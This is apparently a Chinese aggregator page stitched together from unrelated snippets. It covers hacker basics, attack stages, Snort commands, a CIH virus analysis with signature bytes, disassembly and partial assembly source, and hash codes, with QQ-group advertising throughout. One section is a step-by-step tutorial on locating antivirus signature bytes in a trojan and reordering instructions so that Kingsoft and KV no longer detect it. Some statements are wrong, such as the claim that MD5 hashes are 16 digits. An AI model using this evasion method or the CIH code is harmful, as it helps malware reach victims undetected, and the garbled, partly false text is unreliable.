本文目录一览：
- 1、什么是黑客 / 查查362
- 2、一个较新的snort规则，讲明其对抗何种黑客攻击？这种黑客攻击的特征是什么？并说明snort规则对抗
- 3、关于特征码识别计算机病毒方法
- 4、黑客的特征是什么
- 5、特征码的使用方法
- 6、什么是哈希效验的特征码
什么是黑客 / 查查362
一、什么是黑客
热衷于计算机技术，懂得C/C++编程知识的电脑爱好专家。系统、常用软件、网络软件不可避免存在某些安全漏洞，黑客的目的就是为了找出并弥补这些漏洞。
二、黑客必备知识：网络
1、IP地址
2、端口
23—telnet端口-----远程登录，入侵后可以留下后门木马。
135—RPC端口------远程溢出的大洞的端口，还有很多端口等等。
3、服务
服务就是service，比如HTTP服务器你就需要安装World Wide Web Publishing服务。服务实质是为他人提供服务的程序，这个程序会在开机时自动加载。其实所有服务后门都是Microsoft提供的，不用担心杀毒软件发现。
加入我们C语言C++学习交流 560655063即可获取最新黑客ID追踪技术
4、网络协议
指一套双方约定好的通信协议。网络协议分为很多种，作为一名合格黑客必须深入研究TCP/UDP。
三、黑客必须掌握专业技能
1、要学习计算机英文基础（尽量阅读英文资料、英文软件、国外著名的网络安全网站等）
2、掌握电脑基本软件的使用（FTP、PING、NET等，黑客工具：端口扫描器、漏洞扫描器、密码破解工具和信息截获工具等）。
3、熟悉网络协议和原理（网络是如何传递信息；客户端浏览器如何申请“握手信息”，服务器端如何“应答握手信息且接受请求”）
4、一定要有编程基础
建议大家学习C语言、汇编语言等
5、网络应用程序必须熟悉
网络应用程序包括服务器软件后台程序：wuftp、Apache等服务器后台。
四、黑客攻击特征
1、反攻击 核心技术问题（如何截获所有网络信息；Sniffer，Vpacket等程序）
2、Hacker主机攻击方式（系统缺陷、系统安全漏洞、通信协议的安全漏洞：拒绝服务攻击、非授权访问尝试、预探测攻击、可疑活动、协议解码、系统代理攻击）
五、黑客攻击流程
1、扫描漏洞
2、试探漏洞
3、取得权限与提升权限
4、通过木马入侵
5、建立后门并且清理痕迹
六、黑客攻击的入口—端口
1、已知端口（0-1023）
2、注册端口（1027-49151）
3、动态端口（49152-65535）
开启和关闭端口，在Windows系统中，我们可以使用自带的Netstat命令查看网络状况。
喜欢的话关注收藏评论转发一波 比心么么哒！加入我们C语言C++学习交流 560655063群内有大量的项目开发和新手教学视频千人大群等着你来加入。
Fport工具（查看当前系统打开的TCP/IP和UDP端口信息）：
开发免杀病毒：
免杀指反病毒，或者称为反间谍，反杀毒技术。
核心技术分类：
开源免杀：指在有病毒=木马源代码的前提下，通过修改源代码进行免杀
手工免杀：在仅有病毒、木马它的可执行文件(.exe)的情况进行免杀
修改方法：指令顺序调换方法、一键加壳方法、
文件免杀方法：加壳改壳、加壳指令等
一个较新的snort规则，讲明其对抗何种黑客攻击？这种黑客攻击的特征是什么？并说明snort规则对抗
怎么不用sinnfer，这个比较简单！比较好用，图形化的界面。功能也比较强大！
Snort是一个网络入侵检测系统，它可以分析网络上的数据包，用以决定一个系统是否被远程攻击了。多数Linux发行版本都有Snort程序，因此通过urpmi、apt-get、yum等安装Snort是一件很轻松的事情。Snort可以将其收集的信息写到多种不同的存储位置以便于日后的分析。此外，Snort可被用作一个简单的数据包记录器、嗅探器，当然它主要是一个成熟的IDIS(网络入侵检测系统)。
在Snort安装之后，就可以立即使用了。我们只需执行：
#snort –v
这就将Snort设置也了嗅探模式，数据通信会在屏幕上滚动，显示Snort所看到的数据。要退出此程序，按下ctrl-c键就可以了，然后我们就会看到它所检测到的内容的一个简短分析。要看到如tcpdump那样更为详细的信息，就需要使用-vd选项。
要使用Snort记录数据，可以告诉此程序将信息记录到什么地方。在下面的例子中，Snort会将信息记录到/usr/local/log/snort目录中，因此就确保此目录真的存在：
# snort -l /usr/local/log/snort -d
Snort将以二进制方式记录数据包，如:/usr/local/log/snort/snort.log.1199665001,要查看此记录，可以使用-r选项来重新显示所捕获的数据。
# snort -r /usr/local/log/snort/snort.log.1199665001
要将Snort用作一个网络入侵检测系统还需要花点儿工夫。我们必须正确配置Snort，并要使用配置文件/etc/snort/snort.conf。注意，这个配置文件非同一般。Snort网站上的一些规则可能与Snort一起打包了，这依赖于你所使用的Linux版本。
开源社团的Snort的规则对任何人都是可用的，并极有可能与供应商所提供的Snort的版本捆绑发布。你还可以从Sourcefire预订、接收其更新，这样就可以使规则保持不断更新。
一旦下载了一个规则包，如Community-Rules-CURRENT.tar.gz，就要在系统中解开它，将其解到Snort配置所在的目录中：
# cd /etc/snort
# tar xvzf Community-Rules-CURRENT.tar.gz
新的规则将出现在rules/ directory中。
要启用之，需要编辑snort.conf文件并添加以下内容：
var RULE_PATH rules
include $RULE_PATH/sql.rules
include $RULE_PATH/icmp.rules
...
不管你喜欢哪些规则，现在就可以启动Snort并装载配置文件/etc/snort/snort.conf，这会依次装载下载的规则：
# snort -c /etc/snort/snort.conf
此时，Snort将会打印其初始化的信息，将其显示在屏幕上，然后开始记录与规则匹配的数据包。这些规则将决定Snort可以记录什么,它将忽略哪些内容，因此这里不像将Snort作为一个嗅探器来运行那样，它所生成的记录要小得多，因为它只记录所谓的“重要的”数据包。默认情况下，这些记录将会被存储到/var/log/snort/中，Snort将会用我们前面所说-r选项来分析之。
关于特征码识别计算机病毒方法
病毒的产生速度很快,依然有很多病毒没有被识别.但是现在主要还是用特征码来识别病毒，一般的杀毒软件都是用类似特征码来识别并查杀病毒。
第一节 特点
病毒绕过了微软提供的应用程序界面，绕过了ActiveX、C＋＋甚至C，使用汇编，
利用VxD（虚拟设备驱动程序）接口编程，直接杀入Windows内核。它没有改变宿主文件
的大小，而是采用了一种新的文件感染机制即碎洞攻击（fragmented cavity attack），
将病毒化整为零，拆分成若干块，插入宿主文件中去；最引人注目的是它利用目前许多
BIOS芯片开放了可重写的特性，向计算机主板的BIOS端口写入乱码，开创了病毒直接进
攻计算机主板芯片的先例。可以说CIH病毒提供了一种全新的病毒程序方式和病毒发展方向。
第二节 CIH病毒的初始化
1.用SIDT指令取得IDT base address(中断描述符表基地址)，然后把IDT的INT 3 的入口地址改为指向CIH自己的INT3程序入口部分；
2.执行INT 3指令，进入CIH自身的INT 3入口程序，这样，CIH病毒就可以获得Windows最高级别的权限(Ring 0级)，可在Windows的内核执行各种操作（如终止系统运行，直接对内存读写、截获各种中断、控制I/O端口等，这些操作在应用程序层Ring 3级是受到严格
限制的）。病毒在这段程序中首先检查调试寄存器DR0的值是否为0，用以判断先前是否有CIH病毒已经驻留。
3.如果DR0的值不为0，则表示CIH病毒程式已驻留，病毒程序恢复原先的INT 3入口，然后正常退出INT3，跳到过程9；
4.如果DR0值为0，则CIH病毒将尝试进行驻留。首先将当前EBX寄存器的值赋给DR0寄存器，以生成驻留标记，然后调用INT 20中断，使用VxD call Page Allocate系统调用，请求系统分配2个PAGE大小的Windows系统内存(system memory)，Windows系统内存地址范围为C0000000h～FFFFFFFFh，它是用来存放所有的虚拟驱动程序的内存区域，如果程序想长期驻留在内存中，则必须申请到此区段内的内存。
5.如果内存申请成功，则从被感染文件中将原先分成多块的病毒代码收集起来，并进行组合后放到申请到的内存空间中;
6.再次调用INT 3中断进入CIH病毒体的INT 3入口程序，调用INT20来完成调用一个IFSMgr_InstallFileSystemApiHook的子程序，在Windows内核中文件系统处理函数中挂接钩子，以截取文件调用的操作，这样一旦系统出现要求开启文件的调用，则CIH病毒的传染部分程序就会在第一时间截获此文件；
7.将同时获取的Windows默认的IFSMgr_Ring0_FileIO（核心文件输入/输出)服务程序的入口地址保留在DR0寄存器中，以便于CIH病毒调用；
8.恢复原先的IDT中断表中的INT 3入口,退出INT 3；
9.根据病毒程序内隐藏的原文件的正常入口地址，跳到原文件正常入口，执行正常
第三节 病毒发作条件判断
在CIHv1.4中，病毒的发作日期是4月26日，病毒从COMS的70、71端口取出系统当前日期，对其进行判断：
MOV AX,0708
OUT 70,AL
IN AL,71 取当前系统月份-AL
XCHG AL,AH
OUT 70,AL
IN AL,71 取当前系统日-AL
XOR AX,0426 是否为4月26日
JZ 病毒发作程序
之所以不采用这段代码做特征码，是为防止正常程序使用，或者易于发作条件修改。
第四节 病毒的破坏
1.通过主板的BIOS端口地址0CFEH和0CFDH向BIOS引导块（boot block）内各写入一个字节的乱码，造成主机无法启动。
随着闪存（FlashMemory）价格的下跌，奔腾机器上BIOS普遍采用PROM（可编程只读存储器），它可以在12伏以下的电压下利用软件的方式，从BIOS端口中读出和写入数据，以便于进行程序的升级。CIH病毒正是利用闪存的这一特性，往BIOS里写入乱码，造成BIOS中的原内容被会彻底破坏，主机无法启动。
所幸的是，CIH只能对少数类型的主板BIOS构成威胁。这是因为，BIOS的软件更新是通过直接写端口实现的，而不同主
板的BIOS端口地址各不相同。现在出现的CIH只有1K，程序量太小，还不可能存储大量的主板和BIOS端口数据。它只对
端口地址为0CFEH和0CFD的BIOS（据有关资料为Intel 430TX chipset、部分Pentium chipsets）进行攻击
2.覆盖硬盘
通过调用Vxd call IOS_SendCommand直接对硬盘进行存取，将垃圾代码以2048个扇区为单位，从硬盘主引导区开始依
次循环写入硬盘，直到所有硬盘（含逻辑盘）的数据均被破坏为止。
特征码：
55 8D 44 24 F8 33 DB 64 87 03 E8 00 00 00 00 5B 8D
4B 42 51 50 50 0F 01 4C 24 FE 5B 83 C3 1C FA 8B 2B
66 8B 6B FC 8D 71 12 56 66 89 73 FC C1 EE 10 66 89
73 02 5E CC 56 8B F0 8B 48 FC F3 A4 83
偏移位置：0x240
特码长度：0x40
反汇编代码：
00400240 55 PUSH EBP
00400241 8D4424 F8 LEA EAX,DWORD PTR SS:[ESP-8]
00400245 33DB XOR EBX,EBX
00400247 64:8703 XCHG DWORD PTR FS:[EBX],EAX
0040024A E8 00000000 CALL Win95_ci.0040024F
0040024F 5B POP EBX
00400250 8D4B 42 LEA ECX,DWORD PTR DS:[EBX+42]
00400253 51 PUSH ECX
00400254 50 PUSH EAX
00400255 50 PUSH EAX
00400256 0F014C24 FE SIDT FWORD PTR SS:[ESP-2] ; 用SIDT指令取得IDT base address(中断描述符表基地址)，
; 然后把IDT的INT 3 的入口地址改为指向CIH自己的INT3程序入口部分；
0040025B 5B POP EBX
0040025C 83C3 1C ADD EBX,1C
0040025F FA CLI
00400260 8B2B MOV EBP,DWORD PTR DS:[EBX]
00400262 66:8B6B FC MOV BP,WORD PTR DS:[EBX-4]
00400266 8D71 12 LEA ESI,DWORD PTR DS:[ECX+12]
00400269 56 PUSH ESI
0040026A 66:8973 FC MOV WORD PTR DS:[EBX-4],SI
0040026E C1EE 10 SHR ESI,10
00400271 66:8973 02 MOV WORD PTR DS:[EBX+2],SI
00400275 5E POP ESI
00400276 CC INT3 ; 执行INT 3指令，进入CIH自身的INT 3入口程序，获得权限(Ring 0级)，
00400277 56 PUSH ESI
00400278 8BF0 MOV ESI,EAX
0040027A 8B48 FC MOV ECX,DWORD PTR DS:[EAX-4]
0040027D F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0040027F 83E8 08 SUB EAX,8
与1.3版本匹配，源病毒初始代码如下：
MyVirusStart:
push ebp
; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0
@0:
pop ebx
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax
; *************************************
; * Let's Modify *
; *************************************
pop esi
; *************************************
; * Generate Exception to Get Ring0 *
; *************************************
int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $
; *************************************
; * Merge All Virus Code Section *
; *************************************
push esi
mov esi, eax
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]
rep movsb
sub eax, 08h
; *************************************
; * Generate Exception Again *
; *************************************
; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************
; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************
StopToRunVirusCode:
@1 = StopToRunVirusCode
; *************************************
; * Return Original App to Execute *
; *************************************
文档：
;sID=1
音频：
今天讲一下怎么改病毒的特征码，让它不被杀毒软件杀掉，就拿hgzvip1.2没有配置的服务端为例子
现在能被金山认识出来！
一般从程序的入口开始找特征码
4bdf68是内存的虚拟地址
bd368就是文件的相对偏移地址
现在查不出了，就说明特征码就在刚在的那一片
刚才我们填充的是120，现在就取它的一半90
范围更小了
再取90的一半
哈，范围更小了
再取48的一半
运气真好，就是这一段了，我们可以把范围更精确一点
有毒，说明不是这一段，go on,go on,go on,
查不到了，就说明是从bd376这里左右开始的
反编译原来的文件看一下，搞错了，应该用原来的文件
我们就从这里改，先看懂这里程序的意思
xor eax,eax 是把eax清为0
那么后面的两句程序的意思也是把内存地址清0，就是这两句。
我们把它的先后顺序换一下就可以了，这两句就ec和e8不同，我们换一下它们的先后顺序。
对应的文件就是这里，查一下还会不会被金山认出，哈哈，它不认识了！
但是还会被kv认出，所以我们得继续，把kv识别的特征也得改了，
方法和这里是一样的，我就不继续了。
关键点在于找到特征码之后，不能乱改，一定要把程序的意思看懂了，不然程序可能出错的。
黑客的特征是什么
【电脑安全精英】==================================================楼主您好，黑客一般所有的特征是心细，一个好的黑客必须细心的去发现每一个漏洞，只有这样才能成为一个好黑客。大家一般认为黑客都是以搞破坏为乐，但是其实真正的黑客并不是搞破坏的，打个比喻来说，你们家的墙上有个洞，那么黑客可以进去，但是进去以后不一定要偷东西，进去后可以帮你们家把墙补好，或者说留一张纸条来告诉你你们家墙上有个洞，这也是黑客的基本道德。要想成为一个好的黑客，过硬的技术是必不可少的，dos命令，编程，网络技术，以及社会工程学都是必学的东西 希望能对楼主有帮助，随时欢迎继续提问和在线咨询
特征码的使用方法
影视方面：只要在特征码前面加上：magnet:?xt=urn:btih: 2.部分杀毒使用的便是特征码，但是这样误报率较高而且黑客只要通过修改特征码便可以达到暂时免杀的效果。
什么是哈希效验的特征码
谁说的有这个东西的电影都看不了啊..... 哈希码相当于文件的“身份证”，每个不同的文件有不同的哈希码。。哈希码一般有16位，又称MD5码。 有的网站提供下载文件的哈希码，是为了让下载者可以验证下载文件的正确性，防止黑客等人往里面加东西啊的